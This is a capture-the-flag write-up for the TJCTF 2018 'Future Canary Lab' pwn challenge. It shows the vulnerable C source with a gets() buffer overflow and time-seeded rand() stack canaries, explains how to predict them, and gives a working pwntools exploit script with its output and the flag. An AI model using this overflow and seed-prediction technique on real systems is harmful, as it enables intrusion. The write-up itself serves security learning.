TJCTF 2018 - Futur Canary Lab (Pwn)

I am responsible for architecting the most recent paradigm in our modern technological revolution: Secure Secrets. Why don’t you try it out?
secure, ELF 32-bit LSB shared object and

Code source

The code source was given :

#include <stdio.h>
#include <stdlib.h>

#define FLAG "-----REDACTED-----"

void interview(int secret) {

    int i, j;
    int canary[10];
    char name[64];
    int check[10];

    for (i = 0; i < 10; ++i) {
        canary[i] = check[i] = rand();
    }

    printf("Welcome to the Future Canary Lab!\n");
    printf("What is your name?\n");
    gets(name);

    for (j = 0; j < 10; ++j) {
        if (canary[j] != check[j]) {
            printf("Alas, it would appear you lack the time travel powers we desire.\n");
            exit(0);
        }
    }

    if (secret - i + j == 0xdeadbeef) {
        printf("You are the one. This must be the choice of Stacks Gate!\n");
        printf("Here is your flag: %s\n", FLAG);
    } else {
       printf("i = %x et j = %d\n", i, j);
       printf("%x\n", secret - i +j);
       printf("Begone, FBI Spy!\n");
    }

    exit(0);
}

int main() {

    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
    srand(time(NULL));
    interview(0);
    return 0;
}

So it’s pretty simple simple.

First there is a buffer overflow because the gets function do not check the user input. The data is stored in a 64 bytes long buffer named name

In order to get the flag we must set i and j integer variable like 0 - i + j == 0xdeadbeef.

Trivial but there are home made stack cookies named canary and check. If they are not identical when compared the program simply exit.

So now we now we have to make the stack look like the last stack frame.

The vulnerability

Hopefully the 10 int both in check and canary are generated via rand() which his PRNG’s seed is setup via

srand(time(NULL));

Which mean that if the server binary and a binary which generate 10 int with rand, start at the same time they will have the same result.

So we juste have to provide something like : "A" * 64 + 10 integer generated via rand() + "\x00000000" + 0x21524107

from subprocess import Popen, PIPE
from pwn import *
from struct import pack

d =  Popen(["./a.out"], stdout=PIPE).communicate()
p  = remote("problem1.tjctf.org", 8000)

payload = "A" * 64
for x in [int(a) for a in d[0].split("-")[:-1]]:
    payload += pack("<I", x)

payload += pack("<I", 0)
payload += pack("<I", 559038747)

print p.recvline()
print p.recvline()
p.sendline(payload)
print p.recvline()
print p.recvline()
print p.recvline()

Where the a.out is just a binary which provided the 10 integer which are the same than check on the server side

switch :: ~/CTF/tjctf/canary » python xploit.py
[+] Opening connection to problem1.tjctf.org on port 8000: Done
Welcome to the Future Canary Lab!

What is your name?

You are the one. This must be the choice of Stacks Gate!

Here is your flag: tjctf{3l_p5y_k0n6r00_0ur_n3w357_l4b_m3mb3r!}